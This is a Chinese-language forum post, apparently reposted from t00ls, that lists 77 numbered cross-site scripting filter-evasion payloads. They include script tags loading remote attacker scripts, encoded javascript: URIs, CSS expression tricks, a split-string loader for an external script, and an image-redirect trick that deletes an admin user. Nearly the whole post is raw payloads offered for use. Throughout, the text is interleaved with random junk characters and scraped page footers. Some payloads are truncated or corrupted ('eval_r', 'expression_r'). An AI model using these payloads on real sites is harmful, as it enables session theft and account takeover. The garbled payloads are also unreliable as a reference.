貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。0 s$ ? c1 q( n! s
(1)普通的XSS JavaScript注入1 E7 d G4 P; `5 Y
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 j, Z) I: c6 K+ Q( {9 o$ e(2)IMG标签XSS使用JavaScript命令" A9 E3 \- c$ t6 C9 P
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( Z$ E; o3 P+ N(3)IMG标签无分号无引号
. B: p% j- P8 }1 N; c( W5 i6 p, G<IMG SRC=javascript:alert(‘XSS’)>) n' e6 C j/ i. G$ i7 y
(4)IMG标签大小写不敏感
& L. h N' G. Z! }2 `5 X' X<IMG SRC=JaVaScRiPt:alert(‘XSS’)>, @; }; p- M/ T8 Q- m6 q6 n X9 r
(5)HTML编码(必须有分号)2 n: F* S6 e/ P' P
<IMG SRC=javascript:alert(“XSS”)>5 e, K" {/ B# g. A3 }% g1 T! \$ [
(6)修正缺陷IMG标签$ E- x& r4 W" u, m4 _
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>: r/ E! f" s# s5 d# i8 \
( I- m8 Y- C/ ~ S
$ F$ O" k2 R& J(7)formCharCode标签(计算器). H# X0 d2 W+ u8 d5 {2 n9 v
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>5 q2 J+ x) v3 H0 {: G
(8)UTF-8的Unicode编码(计算器)( z7 ]+ \% R5 w+ ~
<IMG SRC=jav..省略..S')>% J* c; r5 s; a, O$ q
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)' p+ m/ _, Y5 P/ Q
<IMG SRC=jav..省略..S')>
. A, O. O& N0 Q8 j: p" e* M(10)十六进制编码也是没有分号(计算器)
" ?, x8 ^2 g' j$ @7 o% |<IMG SRC=java..省略..XSS')>
; U3 U6 N1 J9 z(11)嵌入式标签,将Javascript分开
$ T' @( L" i: `7 G, J! o5 Z& ^0 h<IMG SRC=”jav ascript:alert(‘XSS’);”>6 F1 N- s( F, N7 G& E( F
(12)嵌入式编码标签,将Javascript分开
2 Y: p$ ` y2 F+ t& G k- ?<IMG SRC=”jav ascript:alert(‘XSS’);”>
+ J8 S% K' U2 l& W" x" p; `(13)嵌入式换行符
3 E2 z& }$ n( F8 Y' |1 Z<IMG SRC=”jav ascript:alert(‘XSS’);”>) S* S2 G# Q& O; y0 O
(14)嵌入式回车5 }' e" n9 a3 p$ E, }" F; k
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( s% ?: h8 p, j5 W8 Y ^* }6 q(15)嵌入式多行注入JavaScript,这是XSS极端的例子& s- _ |, j' N& C' S7 E2 z
<IMG SRC=”javascript:alert(‘XSS‘)”># N, ]; R$ ~' Q+ L6 U" t
(16)解决限制字符(要求同页面)% ]" C: ^6 B/ p2 F7 P
<script>z=’document.’</script> z6 u$ k) [) ^- |
<script>z=z+’write(“‘</script>4 B, b8 L( K' w- e) D- O
<script>z=z+’<script’</script>; ~# Q' K0 ~# P+ c0 z
<script>z=z+’ src=ht’</script>
1 \/ |# t6 Q* s# y5 A/ {5 _<script>z=z+’tp://ww’</script>' P# e7 f% t3 F; @! j
<script>z=z+’w.shell’</script>% q6 Q- X1 X' k0 h
<script>z=z+’.net/1.’</script>; P! L" M7 |( v# P* X: n% \
<script>z=z+’js></sc’</script>2 I6 {* H, O4 k! C5 w: r T
<script>z=z+’ript>”)’</script>/ H* L* c3 X7 }/ U. G% o5 `, U8 _
<script>eval_r(z)</script>
1 P' R3 n, l7 x7 G9 e* V(17)空字符12-7-1 T00LS - Powered by Discuz! Board
. m( u8 i8 A# B( {$ Z: hhttps://www.t00ls.net/viewthread ... table&tid=15267 2/63 I5 K/ u+ q. N
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
3 `9 [5 `( C+ ?8 Q! W4 @(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
0 A. D+ r5 {% ~ X: m ~perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
0 z7 j9 ]& M; J5 ^8 E(19)Spaces和meta前的IMG标签9 E% c+ C( ]4 u7 d7 E' {, I
<IMG SRC=” javascript:alert(‘XSS’);”>
8 i9 @3 p7 P; C. N(20)Non-alpha-non-digit XSS/ y6 q: g: f! F5 y
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
1 d' p, ]& z- D A2 A(21)Non-alpha-non-digit XSS to 2
( U9 W$ H6 I5 V, C<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>- E( G; _( x6 c$ N
(22)Non-alpha-non-digit XSS to 3
" y7 F L. t3 W2 i% I<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>. c- f; P, i! u6 u! J
(23)双开括号
2 x; j! r. i% z/ }0 T4 [2 B<<SCRIPT>alert(“XSS”);//<</SCRIPT>4 z, s( P9 x, |1 k7 n1 f1 R$ D
(24)无结束脚本标记(仅火狐等浏览器)! m* L' C. l* y
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
* l4 E- j2 t4 P6 k/ z3 u(25)无结束脚本标记2# m, K9 G' o$ U. f) P2 F
<SCRIPT SRC=//3w.org/XSS/xss.js>1 F1 F% X, g6 M1 w9 L
(26)半开的HTML/JavaScript XSS3 _) z& u) c/ ~: d4 C8 @
<IMG SRC=”javascript:alert(‘XSS’)”# U# N- m8 m. R3 Q2 h1 F# [
(27)双开角括号% \* G& r5 F7 K* Q, N8 a a2 u
<iframe src=http://3w.org/XSS.html <
* H% w) F. x. f* |% W(28)无单引号 双引号 分号
5 @0 m0 c- w3 P! z4 F$ `5 f<SCRIPT>a=/XSS/
& V2 l/ u9 s) Z$ b0 Oalert(a.source)</SCRIPT>
3 R5 y0 q$ R! Z4 h( c8 F/ `(29)换码过滤的JavaScript- ?4 _1 z2 V8 |# |0 h( p9 T
\”;alert(‘XSS’);//8 I' q' v7 y# n' C
(30)结束Title标签* E! T% | i5 p% ^1 c( |
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
% c9 g/ r, x3 [! c+ x2 x3 P(31)Input Image
' {; \% r8 D: X9 I, d% y<INPUT SRC=”javascript:alert(‘XSS’);”>
, _: |% Q3 x3 f% `(32)BODY Image
5 W2 |, V9 ~; j9 B; h2 j( `<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
7 G# U1 Z; I) P- v8 _' x* \* q(33)BODY标签
) U4 j4 j$ \, O! T<BODY(‘XSS’)>" g* ]& V' x4 k) R
(34)IMG Dynsrc
: u$ U, I+ p) a" G% k<IMG DYNSRC=”javascript:alert(‘XSS’)”>, R8 T. y7 l! @! S. q
(35)IMG Lowsrc
9 h7 s6 w0 w @$ r<IMG LOWSRC=”javascript:alert(‘XSS’)”>
2 S. m) u+ V5 i0 n3 C2 y(36)BGSOUND: N/ u( u; p6 o v
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
! \9 ]7 Z* I5 \ F(37)STYLE sheet N3 |' n+ ^1 Z, J6 ?. i
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”># j \3 @% m& d# M: ~
(38)远程样式表3 E4 y l/ N& y2 Z2 Q" t0 N! Q
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
9 {; _, \9 {. M. W(39)List-style-image(列表式)1 u8 [# b6 z: U5 d3 O. N* g, v' ?
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
# F% R/ L. [* `9 e! e" z) o(40)IMG VBscript, S1 F2 m9 J& s8 B$ X
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS5 T% }! j5 C6 c# q6 v
(41)META链接url/ Y3 ?! y# f( d0 S, r0 q
9 ~$ A# h0 G# ?) d5 T: N) @
: d" J; {2 ]6 R6 Z Z( q- u<META HTTP-EQUIV=”refresh” CONTENT=”0;) h$ N" U9 {7 I6 Z
URL=http://;URL=javascript:alert(‘XSS’);”>+ {/ A) `( c0 n% X$ R/ g8 D
(42)Iframe
; c: G0 X% r) D' R1 F8 b<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
1 W1 p0 k) ^' g, @. a(43)Frame5 C1 |2 ?7 X6 J
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board$ ], r5 E( ~/ T3 O7 ~
https://www.t00ls.net/viewthread ... table&tid=15267 3/6
* Y. B1 b4 c, c& b2 s& _" U(44)Table4 B* p* l6 Y y1 @
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>& }, h: p+ w+ Q6 a" N: l ~
(45)TD' x+ m; _$ y2 H# P
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
/ h# O% X* g6 K, r" P0 K+ u(46)DIV background-image
: h9 p" i) B' p) Z; n. l0 c* U<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>/ ~( `* @0 d8 V: z L
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-5 Y, H7 a% J! w, N3 O8 b
8&13&12288&65279)
; t0 d% ~' l8 F8 i1 i+ ]; p<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>, d. L& K& Q7 B5 l; e
(48)DIV expression
, I' \; s8 U) q2 B. a<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
! n# O/ Y) a1 `! B& ~1 K(49)STYLE属性分拆表达
/ w4 h( K! J: v<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
+ O) Q$ T' I8 l( a$ m7 }(50)匿名STYLE(组成:开角号和一个字母开头)3 r! B& E6 w6 [! e; |
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>8 E. o I5 ` w3 ?
(51)STYLE background-image F/ A0 R8 B! R
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A/ N7 @' Z& j& F5 I/ s' d) u9 i
CLASS=XSS></A>6 k" q$ n: j( [; ^
(52)IMG STYLE方式
8 C1 `6 O" L' Y, N2 \; C8 L/ uexppression(alert(“XSS”))’>
+ p3 b; h! _& T. b2 f7 i* D; k! W: x(53)STYLE background
0 K3 E! Z3 c/ v, ?<STYLE><STYLE
2 B \, @* N: b/ |) vtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
, h) ~, r1 `' z' M7 E. \3 i(54)BASE
' i3 @- S# Y. E2 g7 }6 r% Y0 J<BASE HREF=”javascript:alert(‘XSS’);//”>) I2 G( }; t/ D5 F1 e/ p8 K; m0 `
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS/ d( C: |3 e3 v: s
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
/ [" t* a( l9 g" p% g1 K(56)在flash中使用ActionScrpt可以混进你XSS的代码
R0 N7 c& C5 f& v2 W# g0 N4 x1 R/ Ga=”get”;# k6 |* Y2 f3 J7 K
b=”URL(\”";
: q( T: O8 m6 h8 g( N8 i, u- Nc=”javascript:”;' P- x% x% F% z1 \8 V4 t, a
d=”alert(‘XSS’);\”)”;( A. j3 _+ [3 S* B
eval_r(a+b+c+d);
2 z. f0 X( p1 \8 Y* K* S' ]4 W(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上. O2 ~0 L# t% Q) v9 r3 L
<HTML xmlns:xss>
8 s6 r" e- ~" J7 m- i% X# \( t5 D<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>! ?* B8 f4 m( p* Y
<xss:xss>XSS</xss:xss>
& f: h* c9 ]' r) u</HTML>
2 V1 n3 R4 x; G( y$ K9 d(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
3 K, k9 y \2 E! P) E, { e& b) x<SCRIPT SRC=””></SCRIPT>
0 u3 b% ~: t: W& h9 a# n(59)IMG嵌入式命令,可执行任意命令( Q- j! k2 U% h2 O3 s: L
<IMG SRC=”http://www.XXX.com/a.php?a=b”>& p& q' [) ]% O# W
(60)IMG嵌入式命令(a.jpg在同服务器): m0 f% r0 F- t* i( |8 p" Q
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
7 M+ b" z( N' e8 c(61)绕符号过滤' F& i7 H6 q1 W8 b
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>: Z+ h" O; f+ p+ k1 I$ r0 T7 p
(62)9 `0 Y- U+ g& m1 f
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
" b$ r: x% i2 G5 u2 W(63)
% N% m7 u* I- s6 [' k<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT> a0 f* t; X; n' v) i
(64)
3 [& J" l! j) R7 U6 c L<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>+ j7 F3 Z; [ S6 ]6 ~ C& X( E
(65)7 `4 k: C8 i2 R: z8 u
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>& U6 s5 L1 G( ~* T
(66)12-7-1 T00LS - Powered by Discuz! Board
: q) M: X! O$ S) Lhttps://www.t00ls.net/viewthread ... table&tid=15267 4/6
9 {" W% h2 a) I& Z" z( R<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
6 e3 N% y b* R# W" r7 W/ ?" L3 c# s(67)# z( u& Y8 K5 ?2 q+ ~" u
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”>* _) r1 M# D' u$ Q" b; x* i
</SCRIPT>
. e' l: Y; b6 H(68)URL绕行& Y/ Y; I: c- S
<A HREF=”http://127.0.0.1/”>XSS</A>4 g4 X' U. ~, F: Y
(69)URL编码 ^5 i3 I, n/ k7 z5 O! [
<A HREF=”http://3w.org”>XSS</A>
. z O! N p/ W$ T# i% j(70)IP十进制
! x) r: x% J; ?<A HREF=”http://3232235521″>XSS</A>" c4 W/ k* _9 @
(71)IP十六进制# e+ M% W! b' B* p
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
% \( T6 i- O2 E2 v, i& j(72)IP八进制
, o: J* ]( L4 H2 B0 y<A HREF=”http://0300.0250.0000.0001″>XSS</A>. T1 k X* `* M( N( O2 \
(73)混合编码/ _% K q6 @$ g# D; B# B
<A HREF=”h
" \" Q+ w0 X0 f A. C+ K) L& att p://6 6.000146.0×7.147/”">XSS</A>4 `; r( f& v7 p
(74)节省[http:]3 |- c8 a' b4 N4 ]
<A HREF=”//www.google.com/”>XSS</A>2 `2 b; J0 B. K3 e2 L9 B
(75)节省[www]
, E0 y3 R' {) h5 x& N" H<A HREF=”http://google.com/”>XSS</A>
5 O, v1 X' S! s c. H(76)绝对点绝对DNS; x- G& f7 @0 J8 ~; r7 I
<A HREF=”http://www.google.com./”>XSS</A>: j# w3 H l6 z# ]1 o, @
(77)javascript链接( r, K. x3 d$ ]: {' a1 Y/ `
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>3 w9 K/ P; n6 g; C9 P1 _ r) X# ?
8 b2 W% O: E/ R* p2 V原文地址:http://fuzzexp.org/u/0day/?p=14
- L5 b3 J7 w, s$ ]1 {/ f
' o1 v( H! N9 s' C4 A9 M |